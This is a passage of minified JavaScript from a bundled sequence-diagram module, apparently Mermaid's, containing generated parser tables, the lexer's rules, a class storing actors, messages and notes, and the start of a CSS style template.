:[1,68]},{15:[1,69]},{15:[1,70]},{22:71,54:72,71:[1,73]},{22:74,71:P},{22:75,71:P},{68:76,76:[1,77],77:[1,78],78:[1,79],79:[1,80],80:[1,81],81:[1,82],82:[1,83],83:[1,84],84:[1,85],85:[1,86]},{56:87,58:[1,88],66:[1,89],67:[1,90]},{22:91,71:P},{22:92,71:P},{22:93,71:P},{22:94,71:P},t([5,51,65,76,77,78,79,80,81,82,83,84,85,86],F),t(B,[2,6]),t(B,[2,15]),t(G,[2,9],{10:95}),t(B,[2,17]),{5:[1,97],19:[1,96]},{5:[1,98]},t(B,[2,21]),{5:[1,99]},{5:[1,100]},t(B,[2,24]),t(B,[2,25]),t(B,[2,26]),t(B,[2,27]),t(B,[2,28]),t(B,[2,31]),t(B,[2,32]),t($,i,{7:101}),t($,i,{7:102}),t($,i,{7:103}),t(U,i,{40:104,7:105}),t(j,i,{42:106,7:107}),t(j,i,{7:107,42:108}),t(te,i,{45:109,7:110}),t($,i,{7:111}),{5:[1,113],51:[1,112]},{5:[1,114]},t([5,51],F,{72:115,73:[1,116]}),{5:[1,118],51:[1,117]},{5:[1,119]},{22:122,69:[1,120],70:[1,121],71:P},t(Y,[2,72]),t(Y,[2,73]),t(Y,[2,74]),t(Y,[2,75]),t(Y,[2,76]),t(Y,[2,77]),t(Y,[2,78]),t(Y,[2,79]),t(Y,[2,80]),t(Y,[2,81]),{22:123,71:P},{22:125,59:124,71:P},{71:[2,64]},{71:[2,65]},{57:126,86:oe},{57:128,86:oe},{57:129,86:oe},{57:130,86:oe},{4:[1,133],5:[1,135],11:132,12:134,16:[1,131],50:R,52:I,53:L},{5:[1,136]},t(B,[2,19]),t(B,[2,20]),t(B,[2,22]),t(B,[2,23]),{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,137],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,138],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,139],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{16:[1,140]},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[2,46],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,49:[1,141],50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{16:[1,142]},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[2,44],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,48:[1,143],50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{16:[1,144]},{16:[1,145]},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[2,42],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,47:[1,146],50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,147],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{15:[1,148]},t(B,[2,49]),t(B,[2,53]),{5:[2,69]},{74:[1,149]},{15:[1,150]},t(B,[2,51]),t(B,[2,52]),{22:151,71:P},{22:152,71:P},{57:153,86:oe},{57:154,86:oe},{57:155,86:oe},{65:[1,156],86:[2,63]},{5:[2,56]},{5:[2,82]},{5:[2,57]},{5:[2,58]},{5:[2,59]},t(B,[2,16]),t(G,[2,10]),{12:157,50:R,52:I,53:L},t(G,[2,12]),t(G,[2,13]),t(B,[2,18]),t(B,[2,34]),t(B,[2,35]),t(B,[2,36]),t(B,[2,37]),{15:[1,158]},t(B,[2,38]),{15:[1,159]},t(B,[2,39]),t(B,[2,40]),{15:[1,160]},t(B,[2,41]),{5:[1,161]},{75:[1,162]},{5:[1,163]},{57:164,86:oe},{57:165,86:oe},{5:[2,68]},{5:[2,54]},{5:[2,55]},{22:166,71:P},t(G,[2,11]),t(U,i,{7:105,40:167}),t(j,i,{7:107,42:168}),t(te,i,{7:110,45:169}),t(B,[2,48]),{5:[2,70]},t(B,[2,50]),{5:[2,66]},{5:[2,67]},{86:[2,62]},{16:[2,47]},{16:[2,45]},{16:[2,43]}],defaultActions:{5:[2,1],6:[2,2],89:[2,64],90:[2,65],115:[2,69],126:[2,56],127:[2,82],128:[2,57],129:[2,58],130:[2,59],153:[2,68],154:[2,54],155:[2,55],162:[2,70],164:[2,66],165:[2,67],166:[2,62],167:[2,47],168:[2,45],169:[2,43]},parseError:o(function(Z,K){if(K.recoverable)this.trace(Z);else{var ae=new Error(Z);throw ae.hash=K,ae}},"parseError"),parse:o(function(Z){var K=this,ae=[0],Q=[],de=[null],ne=[],Te=this.table,q="",Ve=0,pe=0,Be=0,Ye=2,He=1,Le=ne.slice.call(arguments,1),Ie=Object.create(this.lexer),Ne={yy:{}};for(var Ce in this.yy)Object.prototype.hasOwnProperty.call(this.yy,Ce)&&(Ne.yy[Ce]=this.yy[Ce]);Ie.setInput(Z,Ne.yy),Ne.yy.lexer=Ie,Ne.yy.parser=this,typeof Ie.yylloc>"u"&&(Ie.yylloc={});var Fe=Ie.yylloc;ne.push(Fe);var fe=Ie.options&&Ie.options.ranges;typeof Ne.yy.parseError=="function"?this.parseError=Ne.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function xe(We){ae.length=ae.length-2*We,de.length=de.length-We,ne.length=ne.length-We}o(xe,"popStack");function W(){var We;return We=Q.pop()||Ie.lex()||He,typeof We!="number"&&(We instanceof Array&&(Q=We,We=Q.pop()),We=K.symbols_[We]||We),We}o(W,"lex");for(var he,z,se,le,ke,ve,ye={},Re,_e,ze,Ke;;){if(se=ae[ae.length-1],this.defaultActions[se]?le=this.defaultActions[se]:((he===null||typeof he>"u")&&(he=W()),le=Te[se]&&Te[se][he]),typeof le>"u"||!le.length||!le[0]){var xt="";Ke=[];for(Re in Te[se])this.terminals_[Re]&&Re>Ye&&Ke.push("'"+this.terminals_[Re]+"'");Ie.showPosition?xt="Parse error on line "+(Ve+1)+`: +`+Ie.showPosition()+` +Expecting `+Ke.join(", ")+", got '"+(this.terminals_[he]||he)+"'":xt="Parse error on line "+(Ve+1)+": Unexpected "+(he==He?"end of input":"'"+(this.terminals_[he]||he)+"'"),this.parseError(xt,{text:Ie.match,token:this.terminals_[he]||he,line:Ie.yylineno,loc:Fe,expected:Ke})}if(le[0]instanceof Array&&le.length>1)throw new Error("Parse Error: multiple actions possible at state: "+se+", token: "+he);switch(le[0]){case 1:ae.push(he),de.push(Ie.yytext),ne.push(Ie.yylloc),ae.push(le[1]),he=null,z?(he=z,z=null):(pe=Ie.yyleng,q=Ie.yytext,Ve=Ie.yylineno,Fe=Ie.yylloc,Be>0&&Be--);break;case 2:if(_e=this.productions_[le[1]][1],ye.$=de[de.length-_e],ye._$={first_line:ne[ne.length-(_e||1)].first_line,last_line:ne[ne.length-1].last_line,first_column:ne[ne.length-(_e||1)].first_column,last_column:ne[ne.length-1].last_column},fe&&(ye._$.range=[ne[ne.length-(_e||1)].range[0],ne[ne.length-1].range[1]]),ve=this.performAction.apply(ye,[q,pe,Ve,Ne.yy,le[1],de,ne].concat(Le)),typeof ve<"u")return ve;_e&&(ae=ae.slice(0,-1*_e*2),de=de.slice(0,-1*_e),ne=ne.slice(0,-1*_e)),ae.push(this.productions_[le[1]][0]),de.push(ye.$),ne.push(ye._$),ze=Te[ae[ae.length-2]][ae[ae.length-1]],ae.push(ze);break;case 3:return!0}}return!0},"parse")},ue=(function(){var ee={EOF:1,parseError:o(function(K,ae){if(this.yy.parser)this.yy.parser.parseError(K,ae);else throw new Error(K)},"parseError"),setInput:o(function(Z,K){return this.yy=K||this.yy||{},this._input=Z,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var Z=this._input[0];this.yytext+=Z,this.yyleng++,this.offset++,this.match+=Z,this.matched+=Z;var K=Z.match(/(?:\r\n?|\n).*/g);return K?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),Z},"input"),unput:o(function(Z){var K=Z.length,ae=Z.split(/(?:\r\n?|\n)/g);this._input=Z+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-K),this.offset-=K;var Q=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),ae.length-1&&(this.yylineno-=ae.length-1);var de=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:ae?(ae.length===Q.length?this.yylloc.first_column:0)+Q[Q.length-ae.length].length-ae[0].length:this.yylloc.first_column-K},this.options.ranges&&(this.yylloc.range=[de[0],de[0]+this.yyleng-K]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(Z){this.unput(this.match.slice(Z))},"less"),pastInput:o(function(){var Z=this.matched.substr(0,this.matched.length-this.match.length);return(Z.length>20?"...":"")+Z.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var Z=this.match;return Z.length<20&&(Z+=this._input.substr(0,20-Z.length)),(Z.substr(0,20)+(Z.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var Z=this.pastInput(),K=new Array(Z.length+1).join("-");return Z+this.upcomingInput()+` +`+K+"^"},"showPosition"),test_match:o(function(Z,K){var ae,Q,de;if(this.options.backtrack_lexer&&(de={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(de.yylloc.range=this.yylloc.range.slice(0))),Q=Z[0].match(/(?:\r\n?|\n).*/g),Q&&(this.yylineno+=Q.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:Q?Q[Q.length-1].length-Q[Q.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+Z[0].length},this.yytext+=Z[0],this.match+=Z[0],this.matches=Z,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(Z[0].length),this.matched+=Z[0],ae=this.performAction.call(this,this.yy,this,K,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),ae)return ae;if(this._backtrack){for(var ne in de)this[ne]=de[ne];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var Z,K,ae,Q;this._more||(this.yytext="",this.match="");for(var de=this._currentRules(),ne=0;neK[0].length)){if(K=ae,Q=ne,this.options.backtrack_lexer){if(Z=this.test_match(ae,de[ne]),Z!==!1)return Z;if(this._backtrack){K=!1;continue}else return!1}else if(!this.options.flex)break}return K?(Z=this.test_match(K,de[Q]),Z!==!1?Z:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var K=this.next();return K||this.lex()},"lex"),begin:o(function(K){this.conditionStack.push(K)},"begin"),popState:o(function(){var K=this.conditionStack.length-1;return K>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(K){return K=this.conditionStack.length-1-Math.abs(K||0),K>=0?this.conditionStack[K]:"INITIAL"},"topState"),pushState:o(function(K){this.begin(K)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(K,ae,Q,de){var ne=de;switch(Q){case 0:return 5;case 1:break;case 2:break;case 3:break;case 4:break;case 5:break;case 6:return 19;case 7:return this.begin("CONFIG"),73;break;case 8:return 74;case 9:return this.popState(),this.popState(),75;break;case 10:return ae.yytext=ae.yytext.trim(),71;break;case 11:return ae.yytext=ae.yytext.trim(),this.begin("ALIAS"),71;break;case 12:return this.begin("LINE"),14;break;case 13:return this.begin("ID"),50;break;case 14:return this.begin("ID"),52;break;case 15:return 13;case 16:return this.begin("ID"),53;break;case 17:return ae.yytext=ae.yytext.trim(),this.begin("ALIAS"),71;break;case 18:return this.popState(),this.popState(),this.begin("LINE"),51;break;case 19:return this.popState(),this.popState(),5;break;case 20:return this.begin("LINE"),36;break;case 21:return this.begin("LINE"),37;break;case 22:return this.begin("LINE"),38;break;case 23:return this.begin("LINE"),39;break;case 24:return this.begin("LINE"),49;break;case 25:return this.begin("LINE"),41;break;case 26:return this.begin("LINE"),43;break;case 27:return this.begin("LINE"),48;break;case 28:return this.begin("LINE"),44;break;case 29:return this.begin("LINE"),47;break;case 30:return this.begin("LINE"),46;break;case 31:return this.popState(),15;break;case 32:return 16;case 33:return 66;case 34:return 67;case 35:return 60;case 36:return 61;case 37:return 62;case 38:return 63;case 39:return 58;case 40:return 55;case 41:return this.begin("ID"),21;break;case 42:return this.begin("ID"),23;break;case 43:return 29;case 44:return 30;case 45:return this.begin("acc_title"),31;break;case 46:return this.popState(),"acc_title_value";break;case 47:return this.begin("acc_descr"),33;break;case 48:return this.popState(),"acc_descr_value";break;case 49:this.begin("acc_descr_multiline");break;case 50:this.popState();break;case 51:return"acc_descr_multiline_value";case 52:return 6;case 53:return 18;case 54:return 20;case 55:return 65;case 56:return 5;case 57:return ae.yytext=ae.yytext.trim(),71;break;case 58:return 78;case 59:return 79;case 60:return 80;case 61:return 81;case 62:return 76;case 63:return 77;case 64:return 82;case 65:return 83;case 66:return 84;case 67:return 85;case 68:return 86;case 69:return 86;case 70:return 69;case 71:return 70;case 72:return 5;case 73:return"INVALID"}},"anonymous"),rules:[/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[0-9]+(?=[ \n]+))/i,/^(?:@\{)/i,/^(?:[^\}]+)/i,/^(?:\})/i,/^(?:[^\<->\->:\n,;@\s]+(?=@\{))/i,/^(?:[^\<->\->:\n,;@]+?([\-]*[^\<->\->:\n,;@]+?)*?(?=((?!\n)\s)+as(?!\n)\s|[#\n;]|$))/i,/^(?:box\b)/i,/^(?:participant\b)/i,/^(?:actor\b)/i,/^(?:create\b)/i,/^(?:destroy\b)/i,/^(?:[^<\->\->:\n,;]+?([\-]*[^<\->\->:\n,;]+?)*?(?=((?!\n)\s)+as(?!\n)\s|[#\n;]|$))/i,/^(?:as\b)/i,/^(?:(?:))/i,/^(?:loop\b)/i,/^(?:rect\b)/i,/^(?:opt\b)/i,/^(?:alt\b)/i,/^(?:else\b)/i,/^(?:par\b)/i,/^(?:par_over\b)/i,/^(?:and\b)/i,/^(?:critical\b)/i,/^(?:option\b)/i,/^(?:break\b)/i,/^(?:(?:[:]?(?:no)?wrap)?[^#\n;]*)/i,/^(?:end\b)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:links\b)/i,/^(?:link\b)/i,/^(?:properties\b)/i,/^(?:details\b)/i,/^(?:over\b)/i,/^(?:note\b)/i,/^(?:activate\b)/i,/^(?:deactivate\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:title:\s[^#\n;]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:sequenceDiagram\b)/i,/^(?:autonumber\b)/i,/^(?:off\b)/i,/^(?:,)/i,/^(?:;)/i,/^(?:[^+<\->\->:\n,;]+((?!(-x|--x|-\)|--\)))[\-]*[^\+<\->\->:\n,;]+)*)/i,/^(?:->>)/i,/^(?:<<->>)/i,/^(?:-->>)/i,/^(?:<<-->>)/i,/^(?:->)/i,/^(?:-->)/i,/^(?:-[x])/i,/^(?:--[x])/i,/^(?:-[\)])/i,/^(?:--[\)])/i,/^(?::(?:(?:no)?wrap)?[^#\n;]*)/i,/^(?::)/i,/^(?:\+)/i,/^(?:-)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[50,51],inclusive:!1},acc_descr:{rules:[48],inclusive:!1},acc_title:{rules:[46],inclusive:!1},ID:{rules:[2,3,7,10,11,17],inclusive:!1},ALIAS:{rules:[2,3,18,19],inclusive:!1},LINE:{rules:[2,3,31],inclusive:!1},CONFIG:{rules:[8,9],inclusive:!1},CONFIG_DATA:{rules:[],inclusive:!1},INITIAL:{rules:[0,1,3,4,5,6,12,13,14,15,16,20,21,22,23,24,25,26,27,28,29,30,32,33,34,35,36,37,38,39,40,41,42,43,44,45,47,49,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73],inclusive:!0}}};return ee})();J.lexer=ue;function re(){this.yy={}}return o(re,"Parser"),re.prototype=J,J.Parser=re,new re})();JF.parser=JF;Mye=JF});var XZe,jZe,KZe,b4,J6,e$=N(()=>{"use strict";Xt();w2();pt();fF();gr();ci();XZe={SOLID:0,DOTTED:1,NOTE:2,SOLID_CROSS:3,DOTTED_CROSS:4,SOLID_OPEN:5,DOTTED_OPEN:6,LOOP_START:10,LOOP_END:11,ALT_START:12,ALT_ELSE:13,ALT_END:14,OPT_START:15,OPT_END:16,ACTIVE_START:17,ACTIVE_END:18,PAR_START:19,PAR_AND:20,PAR_END:21,RECT_START:22,RECT_END:23,SOLID_POINT:24,DOTTED_POINT:25,AUTONUMBER:26,CRITICAL_START:27,CRITICAL_OPTION:28,CRITICAL_END:29,BREAK_START:30,BREAK_END:31,PAR_OVER_START:32,BIDIRECTIONAL_SOLID:33,BIDIRECTIONAL_DOTTED:34},jZe={FILLED:0,OPEN:1},KZe={LEFTOF:0,RIGHTOF:1,OVER:2},b4={ACTOR:"actor",BOUNDARY:"boundary",COLLECTIONS:"collections",CONTROL:"control",DATABASE:"database",ENTITY:"entity",PARTICIPANT:"participant",QUEUE:"queue"},J6=class{constructor(){this.state=new J1(()=>({prevActor:void 0,actors:new Map,createdActors:new Map,destroyedActors:new Map,boxes:[],messages:[],notes:[],sequenceNumbersEnabled:!1,wrapEnabled:void 0,currentBox:void 0,lastCreated:void 0,lastDestroyed:void 0}));this.setAccTitle=Rr;this.setAccDescription=Ir;this.setDiagramTitle=$r;this.getAccTitle=Mr;this.getAccDescription=Or;this.getDiagramTitle=Pr;this.apply=this.apply.bind(this),this.parseBoxData=this.parseBoxData.bind(this),this.parseMessage=this.parseMessage.bind(this),this.clear(),this.setWrap(ge().wrap),this.LINETYPE=XZe,this.ARROWTYPE=jZe,this.PLACEMENT=KZe}static{o(this,"SequenceDB")}addBox(e){this.state.records.boxes.push({name:e.text,wrap:e.wrap??this.autoWrap(),fill:e.color,actorKeys:[]}),this.state.records.currentBox=this.state.records.boxes.slice(-1)[0]}addActor(e,r,n,i,a){let s=this.state.records.currentBox,l;if(a!==void 0){let h;a.includes(` +`)?h=a+` +`:h=`{ +`+a+` +}`,l=Kh(h,{schema:jh})}i=l?.type??i;let u=this.state.records.actors.get(e);if(u){if(this.state.records.currentBox&&u.box&&this.state.records.currentBox!==u.box)throw new Error(`A same participant should only be defined in one Box: ${u.name} can't be in '${u.box.name}' and in '${this.state.records.currentBox.name}' at the same time.`);if(s=u.box?u.box:this.state.records.currentBox,u.box=s,u&&r===u.name&&n==null)return}if(n?.text==null&&(n={text:r,type:i}),(i==null||n.text==null)&&(n={text:r,type:i}),this.state.records.actors.set(e,{box:s,name:r,description:n.text,wrap:n.wrap??this.autoWrap(),prevActor:this.state.records.prevActor,links:{},properties:{},actorCnt:null,rectData:null,type:i??"participant"}),this.state.records.prevActor){let h=this.state.records.actors.get(this.state.records.prevActor);h&&(h.nextActor=e)}this.state.records.currentBox&&this.state.records.currentBox.actorKeys.push(e),this.state.records.prevActor=e}activationCount(e){let r,n=0;if(!e)return 0;for(r=0;r>-",token:"->>-",line:"1",loc:{first_line:1,last_line:1,first_column:1,last_column:1},expected:["'ACTIVE_PARTICIPANT'"]},l}return this.state.records.messages.push({id:this.state.records.messages.length.toString(),from:e,to:r,message:n?.text??"",wrap:n?.wrap??this.autoWrap(),type:i,activate:a}),!0}hasAtLeastOneBox(){return this.state.records.boxes.length>0}hasAtLeastOneBoxWithTitle(){return this.state.records.boxes.some(e=>e.name)}getMessages(){return this.state.records.messages}getBoxes(){return this.state.records.boxes}getActors(){return this.state.records.actors}getCreatedActors(){return this.state.records.createdActors}getDestroyedActors(){return this.state.records.destroyedActors}getActor(e){return this.state.records.actors.get(e)}getActorKeys(){return[...this.state.records.actors.keys()]}enableSequenceNumbers(){this.state.records.sequenceNumbersEnabled=!0}disableSequenceNumbers(){this.state.records.sequenceNumbersEnabled=!1}showSequenceNumbers(){return this.state.records.sequenceNumbersEnabled}setWrap(e){this.state.records.wrapEnabled=e}extractWrap(e){if(e===void 0)return{};e=e.trim();let r=/^:?wrap:/.exec(e)!==null?!0:/^:?nowrap:/.exec(e)!==null?!1:void 0;return{cleanedText:(r===void 0?e:e.replace(/^:?(?:no)?wrap:/,"")).trim(),wrap:r}}autoWrap(){return this.state.records.wrapEnabled!==void 0?this.state.records.wrapEnabled:ge().sequence?.wrap??!1}clear(){this.state.reset(),Sr()}parseMessage(e){let r=e.trim(),{wrap:n,cleanedText:i}=this.extractWrap(r),a={text:i,wrap:n};return X.debug(`parseMessage: ${JSON.stringify(a)}`),a}parseBoxData(e){let r=/^((?:rgba?|hsla?)\s*\(.*\)|\w*)(.*)$/.exec(e),n=r?.[1]?r[1].trim():"transparent",i=r?.[2]?r[2].trim():void 0;if(window?.CSS)window.CSS.supports("color",n)||(n="transparent",i=e.trim());else{let l=new Option().style;l.color=n,l.color!==n&&(n="transparent",i=e.trim())}let{wrap:a,cleanedText:s}=this.extractWrap(i);return{text:s?sr(s,ge()):void 0,color:n,wrap:a}}addNote(e,r,n){let i={actor:e,placement:r,message:n.text,wrap:n.wrap??this.autoWrap()},a=[].concat(e,e);this.state.records.notes.push(i),this.state.records.messages.push({id:this.state.records.messages.length.toString(),from:a[0],to:a[1],message:n.text,wrap:n.wrap??this.autoWrap(),type:this.LINETYPE.NOTE,placement:r})}addLinks(e,r){let n=this.getActor(e);try{let i=sr(r.text,ge());i=i.replace(/=/g,"="),i=i.replace(/&/g,"&");let a=JSON.parse(i);this.insertLinks(n,a)}catch(i){X.error("error while parsing actor link text",i)}}addALink(e,r){let n=this.getActor(e);try{let i={},a=sr(r.text,ge()),s=a.indexOf("@");a=a.replace(/=/g,"="),a=a.replace(/&/g,"&");let l=a.slice(0,s-1).trim(),u=a.slice(s+1).trim();i[l]=u,this.insertLinks(n,i)}catch(i){X.error("error while parsing actor link text",i)}}insertLinks(e,r){if(e.links==null)e.links=r;else for(let n in r)e.links[n]=r[n]}addProperties(e,r){let n=this.getActor(e);try{let i=sr(r.text,ge()),a=JSON.parse(i);this.insertProperties(n,a)}catch(i){X.error("error while parsing actor properties text",i)}}insertProperties(e,r){if(e.properties==null)e.properties=r;else for(let n in r)e.properties[n]=r[n]}boxEnd(){this.state.records.currentBox=void 0}addDetails(e,r){let n=this.getActor(e),i=document.getElementById(r.text);try{let a=i.innerHTML,s=JSON.parse(a);s.properties&&this.insertProperties(n,s.properties),s.links&&this.insertLinks(n,s.links)}catch(a){X.error("error while parsing actor details text",a)}}getActorProperty(e,r){if(e?.properties!==void 0)return e.properties[r]}apply(e){if(Array.isArray(e))e.forEach(r=>{this.apply(r)});else switch(e.type){case"sequenceIndex":this.state.records.messages.push({id:this.state.records.messages.length.toString(),from:void 0,to:void 0,message:{start:e.sequenceIndex,step:e.sequenceIndexStep,visible:e.sequenceVisible},wrap:!1,type:e.signalType});break;case"addParticipant":this.addActor(e.actor,e.actor,e.description,e.draw,e.config);break;case"createParticipant":if(this.state.records.actors.has(e.actor))throw new Error("It is not possible to have actors with the same id, even if one is destroyed before the next is created. Use 'AS' aliases to simulate the behavior");this.state.records.lastCreated=e.actor,this.addActor(e.actor,e.actor,e.description,e.draw,e.config),this.state.records.createdActors.set(e.actor,this.state.records.messages.length);break;case"destroyParticipant":this.state.records.lastDestroyed=e.actor,this.state.records.destroyedActors.set(e.actor,this.state.records.messages.length);break;case"activeStart":this.addSignal(e.actor,void 0,void 0,e.signalType);break;case"activeEnd":this.addSignal(e.actor,void 0,void 0,e.signalType);break;case"addNote":this.addNote(e.actor,e.placement,e.text);break;case"addLinks":this.addLinks(e.actor,e.text);break;case"addALink":this.addALink(e.actor,e.text);break;case"addProperties":this.addProperties(e.actor,e.text);break;case"addDetails":this.addDetails(e.actor,e.text);break;case"addMessage":if(this.state.records.lastCreated){if(e.to!==this.state.records.lastCreated)throw new Error("The created participant "+this.state.records.lastCreated.name+" does not have an associated creating message after its declaration. Please check the sequence diagram.");this.state.records.lastCreated=void 0}else if(this.state.records.lastDestroyed){if(e.to!==this.state.records.lastDestroyed&&e.from!==this.state.records.lastDestroyed)throw new Error("The destroyed participant "+this.state.records.lastDestroyed.name+" does not have an associated destroying message after its declaration. Please check the sequence diagram.");this.state.records.lastDestroyed=void 0}this.addSignal(e.from,e.to,e.msg,e.signalType,e.activate);break;case"boxStart":this.addBox(e.boxData);break;case"boxEnd":this.boxEnd();break;case"loopStart":this.addSignal(void 0,void 0,e.loopText,e.signalType);break;case"loopEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"rectStart":this.addSignal(void 0,void 0,e.color,e.signalType);break;case"rectEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"optStart":this.addSignal(void 0,void 0,e.optText,e.signalType);break;case"optEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"altStart":this.addSignal(void 0,void 0,e.altText,e.signalType);break;case"else":this.addSignal(void 0,void 0,e.altText,e.signalType);break;case"altEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"setAccTitle":Rr(e.text);break;case"parStart":this.addSignal(void 0,void 0,e.parText,e.signalType);break;case"and":this.addSignal(void 0,void 0,e.parText,e.signalType);break;case"parEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"criticalStart":this.addSignal(void 0,void 0,e.criticalText,e.signalType);break;case"option":this.addSignal(void 0,void 0,e.optionText,e.signalType);break;case"criticalEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"breakStart":this.addSignal(void 0,void 0,e.breakText,e.signalType);break;case"breakEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break}}getConfig(){return ge().sequence}}});var QZe,Oye,Pye=N(()=>{"use strict";QZe=o(t=>`.actor { + stroke: ${t.actorBorder}; + fill: ${t.actorBkg}; + } + + text.actor > tspan { + fill: ${t.actorTextColor}; + stroke: none; + } + + .actor-line { + stroke: ${t.actorLineColor}; + } + + .innerArc { + stroke-width: 1.5; + stroke-dasharray: none; + } + + .messageLine0 { + stroke-width: 1.5; + stroke-dasharray: none; + stroke: ${t.signalColor}; + } + + .messageLine1 { + stroke-width: 1.5; + stroke-dasharray: 2, 2; + stroke: ${t.signalColor}; + } + + #arrowhead path { + fill: ${t.signalColor}; + stroke: ${t.signalColor}; + } + + .sequenceNumber { + fill: ${t.sequenceNumberColor}; + } + + #sequencenumber { + fill: ${t.signalColor}; + } + + #crosshead path { + fill: ${t.signalColor}; + stroke: ${t.signalColor}; + } + + .messageText { + fill: ${t.signalTextColor}; + stroke: none; + } + + .labelBox { + stroke: ${t.labelBoxBorderColor}; + fill: ${t.labelBoxBkgColor}; + } + + .labelText, .labelText > tspan { + fill: ${t.labelTextColor}; + stroke: none; + } + + .loopText, .loopText > tspan { + fill: ${t.loopTextColor}; + stroke: none; + } + + .loopLine { + stroke-width: 2px; + 